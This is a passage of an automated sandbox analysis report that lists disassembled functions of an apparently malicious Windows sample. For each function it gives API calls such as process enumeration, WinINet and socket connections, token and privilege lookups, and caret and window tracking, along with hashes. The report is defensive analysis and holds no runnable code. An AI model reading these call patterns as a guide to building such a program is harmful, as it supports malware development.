Instruction Fuzzy Hash: DE316E72E802285EFF348B64AC047FEBB66AB45330F44431AE485511D2CB795D45B751

Function 00EF61C5 Relevance: 6.1, APIs: 4, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00EF61FB
__isleadbyte_l.LIBCMT ref: 00EF6229
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 00EF6257
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 00EF628D

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 404162062f5ea21d6975e202fc7ea31559ba3356cb048b91296a17b0c3630447
Instruction ID: c2547e198bccd41a44e3d41a14b92f0587320e0f484b474d40c88d11cb81f587
Opcode Fuzzy Hash: 404162062f5ea21d6975e202fc7ea31559ba3356cb048b91296a17b0c3630447
Instruction Fuzzy Hash: 4831DE3060024EAFEF218F65CC44BBB7BB9FF42314F155068EA28A71A1E731E950DB90

Function 00F44EEE Relevance: 6.1, APIs: 4, Instructions: 95COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 00F44F02

Part of subcall function 00F23641: GetWindowThreadProcessId.USER32(00000000,00000000), ref: 00F2365B
Part of subcall function 00F23641: GetCurrentThreadId.KERNEL32 ref: 00F23662
Part of subcall function 00F23641: AttachThreadInput.USER32(00000000,?,00F25005), ref: 00F23669

GetCaretPos.USER32(?), ref: 00F44F13
ClientToScreen.USER32(00000000,?), ref: 00F44F4E
GetForegroundWindow.USER32 ref: 00F44F54

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
String ID:
API String ID: 2759813231-0
Opcode ID: c3fa53e8d7962e8cdd8b4bc34bf86cf05ec5a56a3d16ef4a68c04ed1daa002cf
Instruction ID: 73622b198842e97c8755f24666a81a660ec8e27c32ffdc3c9d3ef1cae22d7316
Opcode Fuzzy Hash: c3fa53e8d7962e8cdd8b4bc34bf86cf05ec5a56a3d16ef4a68c04ed1daa002cf
Instruction Fuzzy Hash: B7312C72D00108AFDB04EFA5CD85EEFB7F9EF99300F10406AE815E7201DA75AE458BA0

Function 00F23C55 Relevance: 6.1, APIs: 4, Instructions: 85processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00F23C7A
Process32FirstW.KERNEL32(00000000,?), ref: 00F23C88
Process32NextW.KERNEL32(00000000,?), ref: 00F23CA8
CloseHandle.KERNEL32(00000000), ref: 00F23D52

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: ec0db7c770d0600e977326d2f810467fb63e2b4d8a0a2aefd0797dcd28461159
Instruction ID: 397ace4a77e6df27da22b17cfd70c21802f5f0b7206a7f0a11dc76b56706ae1f
Opcode Fuzzy Hash: ec0db7c770d0600e977326d2f810467fb63e2b4d8a0a2aefd0797dcd28461159
Instruction Fuzzy Hash: 4B31C2711083099FD300EF20D881FAFBBE8EFD9350F50082DF495961A1EB71AA4ADB52

Function 00F4C498 Relevance: 6.1, APIs: 4, Instructions: 83windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00EC2612: GetWindowLongW.USER32(?,000000EB), ref: 00EC2623

GetCursorPos.USER32(?), ref: 00F4C4D2
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000,?,00EFB9AB,?,?,?,?,?), ref: 00F4C4E7
GetCursorPos.USER32(?), ref: 00F4C534
DefDlgProcW.USER32(?,0000007B,?,?,?,?,?,?,?,?,?,?,00EFB9AB,?,?,?), ref: 00F4C56E

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: Cursor$LongMenuPopupProcTrackWindow
String ID:
API String ID: 2864067406-0
Opcode ID: 257118e91e85f8e3506c5323ae3ae2bd795f2a5c16ce932cd1c7f40d4674a476
Instruction ID: ca3511d03af1dd27375d599c6c7ec7a1e1865349b296ec0c2de2e8f1e3f1fa95
Opcode Fuzzy Hash: 257118e91e85f8e3506c5323ae3ae2bd795f2a5c16ce932cd1c7f40d4674a476
Instruction Fuzzy Hash: 7B318D39A01018AFDB65CF58C858EFE7FB5EB09760F484069FD099B261C731A950EBE4

Function 00F18656 Relevance: 6.1, APIs: 4, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00F1810A: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00F18121
Part of subcall function 00F1810A: GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00F1812B
Part of subcall function 00F1810A: GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00F1813A
Part of subcall function 00F1810A: HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 00F18141
Part of subcall function 00F1810A: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00F18157

LookupPrivilegeValueW.ADVAPI32(00000000,?,?), ref: 00F186A3
_memcmp.LIBCMT ref: 00F186C6
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00F186FC
HeapFree.KERNEL32(00000000), ref: 00F18703

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: Heap$InformationProcessToken$AllocErrorFreeLastLookupPrivilegeValue_memcmp
String ID:
API String ID: 1592001646-0
Opcode ID: bd70324017f22d7ae364b2ca40a9d93e0135155198f7c0526dc254c79af6f572
Instruction ID: 5ebcbe5089e06436e15dbadbbd51eef1e2d5f55d1d0c8ddeae7717d9fed4d385
Opcode Fuzzy Hash: bd70324017f22d7ae364b2ca40a9d93e0135155198f7c0526dc254c79af6f572
Instruction Fuzzy Hash: 6121B031E00108EFDB04DFA4CA58BEEB7F8EF41354F144059E844A7241DB31AE46EB50

Function 00EE098C Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

APIs

__setmode.LIBCMT ref: 00EE09AE

Part of subcall function 00EC5A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,00F27896,?,?,00000000), ref: 00EC5A2C
Part of subcall function 00EC5A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,00F27896,?,?,00000000,?,?), ref: 00EC5A50

_fprintf.LIBCMT ref: 00EE09E5
OutputDebugStringW.KERNEL32(?), ref: 00F15DBB

Part of subcall function 00EE4AAA: _flsall.LIBCMT ref: 00EE4AC3

__setmode.LIBCMT ref: 00EE0A1A

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: ByteCharMultiWide__setmode$DebugOutputString_flsall_fprintf
String ID:
API String ID: 521402451-0
Opcode ID: 7b5f8a61c0492adc18967ccdfc137eefdca6ee26fe531554c32c6cb6c16d308d
Instruction ID: ebc603b2f6a1922952ec5048f85f01ac1a97c793f66f3eab2fa0c1742183321c
Opcode Fuzzy Hash: 7b5f8a61c0492adc18967ccdfc137eefdca6ee26fe531554c32c6cb6c16d308d
Instruction Fuzzy Hash: AC116AB290428C6FCB04B7B6AC46DFE77E89F85320F101069F104772C3EE71598663A0

Function 00F31767 Relevance: 6.1, APIs: 4, Instructions: 78networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 00F317A3

Part of subcall function 00F3182D: InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 00F3184C
Part of subcall function 00F3182D: InternetCloseHandle.WININET(00000000), ref: 00F318E9

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: Internet$CloseConnectHandleOpen
String ID:
API String ID: 1463438336-0
Opcode ID: 66ecd8f62a3b4bed46884d4da4cd71b3e92821d6240904bd0def5591a4bf36fb
Instruction ID: aedf0b56048099a74631835fc86cdf91cfc317739dcac4ab8264951c7fa85fe0
Opcode Fuzzy Hash: 66ecd8f62a3b4bed46884d4da4cd71b3e92821d6240904bd0def5591a4bf36fb
Instruction Fuzzy Hash: F421C036600605BFEB129F60DC01FBBBBA9FF49730F14402AFA1596650DB75D811BBA4

Function 00F23A2A Relevance: 6.1, APIs: 4, Instructions: 78COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(?,00F4FAC0), ref: 00F23A64
GetLastError.KERNEL32 ref: 00F23A73
CreateDirectoryW.KERNEL32(?,00000000), ref: 00F23A82
CreateDirectoryW.KERNEL32(?,00000000,00000000,000000FF,00F4FAC0), ref: 00F23ADF

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: CreateDirectory$AttributesErrorFileLast
String ID:
API String ID: 2267087916-0
Opcode ID: 883acbd4e77cf253a50acff92e2aef4ccd528350a3de2484f4678ee59baf1eac
Instruction ID: e821a19f826b70eccc63187157ea4162905c214cb7a69d7bbd89900f7a29f545
Opcode Fuzzy Hash: 883acbd4e77cf253a50acff92e2aef4ccd528350a3de2484f4678ee59baf1eac
Instruction Fuzzy Hash: 8B21D6795083158F8300EF24D88196B7BE4EE5A364F104A2DF4D9C72A1D739DE4ADF42

Function 00F1DCBE Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 68stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00F1F0BC: lstrlenW.KERNEL32(?,00000002,?,?,000000EF,?,00F1DCD3,?,?,?,00F1EAC6,00000000,000000EF,00000119,?,?), ref: 00F1F0CB
Part of subcall function 00F1F0BC: lstrcpyW.KERNEL32(00000000,?,?,00F1DCD3,?,?,?,00F1EAC6,00000000,000000EF,00000119,?,?,00000000), ref: 00F1F0F1
Part of subcall function 00F1F0BC: lstrcmpiW.KERNEL32(00000000,?,00F1DCD3,?,?,?,00F1EAC6,00000000,000000EF,00000119,?,?), ref: 00F1F122

lstrlenW.KERNEL32(?,00000002,?,?,?,?,00F1EAC6,00000000,000000EF,00000119,?,?,00000000), ref: 00F1DCEC
lstrcpyW.KERNEL32(00000000,?,?,00F1EAC6,00000000,000000EF,00000119,?,?,00000000), ref: 00F1DD12
lstrcmpiW.KERNEL32(00000002,cdecl,?,00F1EAC6,00000000,000000EF,00000119,?,?,00000000), ref: 00F1DD46

Strings

cdecl, xrefs: 00F1DD3D

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: lstrcmpilstrcpylstrlen
String ID: cdecl
API String ID: 4031866154-3896280584
Opcode ID: 53a2bc24dbee986c32533dde4a624e99ee137bcd2513045d852493a560831dbc
Instruction ID: d50f5737d67ff8926166623b67f3ec17258fda56dc74b303b14b9e5b14bc3fc4
Opcode Fuzzy Hash: 53a2bc24dbee986c32533dde4a624e99ee137bcd2513045d852493a560831dbc
Instruction Fuzzy Hash: DC11D33A600309EBCB259F34DC45DBA77B9FF45350B40902AF806CB2A0EB719880E791

Function 00EF50E2 Relevance: 6.1, APIs: 4, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00EF5101

Part of subcall function 00EE571C: __FF_MSGBANNER.LIBCMT ref: 00EE5733
Part of subcall function 00EE571C: __NMSG_WRITE.LIBCMT ref: 00EE573A
Part of subcall function 00EE571C: RtlAllocateHeap.NTDLL(01430000,00000000,00000001,00000000,?,?,?,00EE0DD3,?), ref: 00EE575F

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: a331884edd0dedd428b9b4418ae1bd3d19c8b25223a1d5acdeff66300d6ff6e8
Instruction ID: f787c2d96b7733a98cafca980563b66cb6871cf002835456a6e474980b6524ce
Opcode Fuzzy Hash: a331884edd0dedd428b9b4418ae1bd3d19c8b25223a1d5acdeff66300d6ff6e8
Instruction Fuzzy Hash: 7311E373502E1DAECB312FB1AC05BBE37D89B21365F102529FB0CB6251DF3099409790

Function 00F36369 Relevance: 6.1, APIs: 4, Instructions: 61networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00EC5A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,00F27896,?,?,00000000), ref: 00EC5A2C
Part of subcall function 00EC5A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,00F27896,?,?,00000000,?,?), ref: 00EC5A50

gethostbyname.WSOCK32(?,?,?), ref: 00F36399
WSAGetLastError.WSOCK32(00000000), ref: 00F363A4
_memmove.LIBCMT ref: 00F363D1
inet_ntoa.WSOCK32(?), ref: 00F363DC

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLast_memmovegethostbynameinet_ntoa
String ID:
API String ID: 1504782959-0
Opcode ID: 83f7e42ffbd05f6603ce9679460637a5f7e0ec85de524a58558519a2f1baf34b
Instruction ID: abc368f0793988d33a9501298ec87020afd0de22bbc6d86fb021f70ff0b853b3
Opcode Fuzzy Hash: 83f7e42ffbd05f6603ce9679460637a5f7e0ec85de524a58558519a2f1baf34b
Instruction Fuzzy Hash: 2E118136900109AFCB04FBA4DE46DEEB7B8AF09320B044069F505B7262DB31AE05DB61

Function 00F18B41 Relevance: 6.1, APIs: 4, Instructions: 59windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000B0,?,?), ref: 00F18B61
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00F18B73
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00F18B89
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00F18BA4

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: ed40db067b761341f55b22b4d430017ceef83ca80d64848a1bc2ded3ea0ee322
Instruction ID: 2068ffa1eda270d434c6c41607cdcbfd02fea05f85e021423e0293795f6607a1
Opcode Fuzzy Hash: ed40db067b761341f55b22b4d430017ceef83ca80d64848a1bc2ded3ea0ee322
Instruction Fuzzy Hash: EE113A79901218BFDB10DB95CD84F9DBB74FB48350F204095E904B7250DA716E51EB94

Function 00EC1290 Relevance: 6.1, APIs: 4, Instructions: 59COMMON

Download Yara Rule

APIs

Part of subcall function 00EC2612: GetWindowLongW.USER32(?,000000EB), ref: 00EC2623

DefDlgProcW.USER32(?,00000020,?), ref: 00EC12D8
GetClientRect.USER32(?,?), ref: 00EFB5FB
GetCursorPos.USER32(?), ref: 00EFB605
ScreenToClient.USER32(?,?), ref: 00EFB610

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: Client$CursorLongProcRectScreenWindow
String ID:
API String ID: 4127811313-0
Opcode ID: fa2d33f39f75b7150a06fc2a43e5724df26dad334c326477365e0de8ee427abe
Instruction ID: 459520d1d7ddb6859904453b3f2c8092d7db17e3ebe3d732378cd0a921d4273a
Opcode Fuzzy Hash: fa2d33f39f75b7150a06fc2a43e5724df26dad334c326477365e0de8ee427abe
Instruction Fuzzy Hash: 6911283950001DABDB04EF98D985EFEB7B8EB06301F40049AFA01E7152C731AA56ABA5

Function 00F21142 Relevance: 6.1, APIs: 4, Instructions: 51sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,00F1FCED,?,00F20D40,?,00008000), ref: 00F2115F
Sleep.KERNEL32(00000000,?,?,?,?,?,?,00F1FCED,?,00F20D40,?,00008000), ref: 00F21184
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,00F1FCED,?,00F20D40,?,00008000), ref: 00F2118E
Sleep.KERNEL32(?,?,?,?,?,?,?,00F1FCED,?,00F20D40,?,00008000), ref: 00F211C1

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: CounterPerformanceQuerySleep
String ID:
API String ID: 2875609808-0
Opcode ID: 6e6a3b4855785470e9c67b8864aa60d0de1f92bde79023db63a5af89a903baa1
Instruction ID: ab21037a33e469fc046164f1d4ea11aba849a17d715c5598d0a361b2705522ca
Opcode Fuzzy Hash: 6e6a3b4855785470e9c67b8864aa60d0de1f92bde79023db63a5af89a903baa1
Instruction Fuzzy Hash: 9D117035C0152DD7CF009FA5E8446EEBBBCFF29711F104055EA44B2240CB7055A4EB9A

Function 00F1D831 Relevance: 6.0, APIs: 4, Instructions: 50registryCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104,00000000,00000000), ref: 00F1D84D
LoadTypeLibEx.OLEAUT32(?,00000002,?), ref: 00F1D864
RegisterTypeLib.OLEAUT32(?,?,00000000), ref: 00F1D879
RegisterTypeLibForUser.OLEAUT32(?,?,00000000), ref: 00F1D897

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: Type$Register$FileLoadModuleNameUser
String ID:
API String ID: 1352324309-0
Opcode ID: d60deda1cd7f8a9e090876f9a1c38cd4e2a387d90ad7020ce672086a25a11949
Instruction ID: 950a3cb286ec16cfb8ebd7f622469ea0b85fab4f96f4eafaedc0ac28365188dc
Opcode Fuzzy Hash: d60deda1cd7f8a9e090876f9a1c38cd4e2a387d90ad7020ce672086a25a11949
Instruction Fuzzy Hash: 52116175A06304DBE320CF51DC08FD3BBBCEB00B20F108569A91AD6190D7B0E689ABA1

Function 00EF6FB7 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 00EF6FDB

Part of subcall function 00EF76C2: __fltout2.LIBCMT ref: 00EF76EB

__cftog_l.LIBCMT ref: 00EF7001
__cftoe_l.LIBCMT ref: 00EF7033

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction ID: a17a94363d5b5742669e5e414b5b1647dd897e8f66a79a52ea0b3950821e9d80
